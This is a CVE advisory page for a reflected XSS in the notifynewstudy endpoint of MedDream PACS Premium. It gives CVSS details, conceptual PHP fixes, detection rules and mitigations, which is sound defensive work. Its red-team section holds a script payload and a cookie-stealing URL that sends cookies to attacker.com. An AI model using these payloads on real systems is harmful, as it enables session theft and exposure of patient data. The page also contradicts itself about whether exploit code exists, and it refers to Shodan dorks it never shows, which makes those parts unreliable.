CVE-2025-57786
Executive Summary
CVE-2025-57786 is a reflected cross-site scripting (XSS) vulnerability in the notifynewstudy functionality of MedDream PACS Premium version 7.3.6.870. This flaw allows an attacker to craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for healthcare environments using this PACS system.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary medical imaging software (MedDream PACS Premium). No supply chain or package security implications are present.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of data possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the context of medical imaging systems elevates the risk due to potential patient data exposure and disruption of clinical workflows.
Deep Dive & Mechanics
The vulnerability resides in the notifynewstudy functionality of MedDream PACS Premium. This feature is designed to notify users about new studies (e.g., radiology images). The application fails to properly sanitize user-supplied input reflected in the URL, allowing an attacker to inject arbitrary JavaScript.
Mechanism:
- An attacker crafts a URL containing a malicious JavaScript payload in a parameter (likely
studyUID,patientID, or similar) that is reflected in the response without proper encoding. - The victim (e.g., a radiologist or technician) clicks the link, which may be delivered via email, chat, or other means.
- The victim's browser executes the injected script in the context of the MedDream PACS application.
- The script can then perform actions such as stealing session cookies, exfiltrating patient data, or performing actions on behalf of the victim.
Root Cause: Lack of output encoding or input validation on the reflected parameter in the notifynewstudy endpoint.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern.
Vulnerable Code (Conceptual):
// notifynewstudy.php (vulnerable)
$studyUID = $_GET['studyUID'];
echo "<div>New study notification for: " . $studyUID . "</div>";
Patched Code (Conceptual):
// notifynewstudy.php (patched)
$studyUID = htmlspecialchars($_GET['studyUID'], ENT_QUOTES, 'UTF-8');
echo "<div>New study notification for: " . $studyUID . "</div>";
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable instance of MedDream PACS Premium 7.3.6.870 in an isolated environment.
- Use a web browser or tool like Burp Suite to intercept and modify requests.
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
studyUID) in thenotifynewstudyendpoint. - Craft a malicious URL:
http://target-pacs/notifynewstudy?studyUID=<script>alert('XSS')</script> - Deliver the URL to a victim (e.g., via email or chat).
- When the victim clicks the link, the JavaScript executes.
Advanced Payload (Cookie Stealing):
http://target-pacs/notifynewstudy?studyUID=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/notifynewstudycontaining suspicious patterns like<script>,onerror=, orjavascript:. - Use a WAF to block reflected XSS payloads.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Apply input validation and output encoding on all user-supplied data.
- Use a security scanner to identify XSS vulnerabilities.
- Restrict access to the PACS system via VPN or network segmentation.
Indicators of Compromise (IOCs)
- URL Patterns: Requests to
/notifynewstudycontaining<script>,%3Cscript%3E,onerror=, orjavascript:. - Network Traffic: Outbound connections from the PACS server to unknown IPs on ports 80/443 (for cookie exfiltration).
- Log Entries: Web server logs showing unusual parameters in
notifynewstudyrequests. - File Artifacts: Temporary files or scripts created by the XSS payload (if it writes to the filesystem).
Detection Engineering
YARA Rule
rule CVE_2025_57786_MedDream_XSS {
meta:
description = "Detects reflected XSS attempts against MedDream PACS notifynewstudy"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57786"
strings:
$xss1 = /notifynewstudy\?.*(<script|%3Cscript|onerror|javascript:)/
$xss2 = /studyUID=.*(<script|%3Cscript|onerror|javascript:)/
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against MedDream PACS notifynewstudy
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS payloads in notifynewstudy requests
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-57786
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- '<script'
- '%3Cscript'
- 'onerror='
- 'javascript:'
cs-uri-stem|contains: '/notifynewstudy'
condition: selection
falsepositives:
- Legitimate use of JavaScript in parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57786 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/notifynewstudy"; http_uri; pcre:"/(<script|%3Cscript|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the PACS system: Restrict network access to only trusted users and systems.
- Apply a WAF rule: Block requests to
/notifynewstudycontaining XSS patterns. - Monitor logs: Actively review web server logs for suspicious activity.
Long-term Fix:
- Vendor Patch: Contact MedDream for an official patch. If unavailable, consider upgrading to a newer version or migrating to a different PACS solution.
- Code Fix: If source code is accessible, implement proper input validation and output encoding (e.g.,
htmlspecialchars()in PHP, or equivalent in other languages). - Security Hardening: Implement Content Security Policy (CSP) headers, HTTP-only cookies, and X-XSS-Protection headers.
Workaround:
- Disable the
notifynewstudyfunctionality if not essential, or restrict access to it via authentication and authorization controls.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.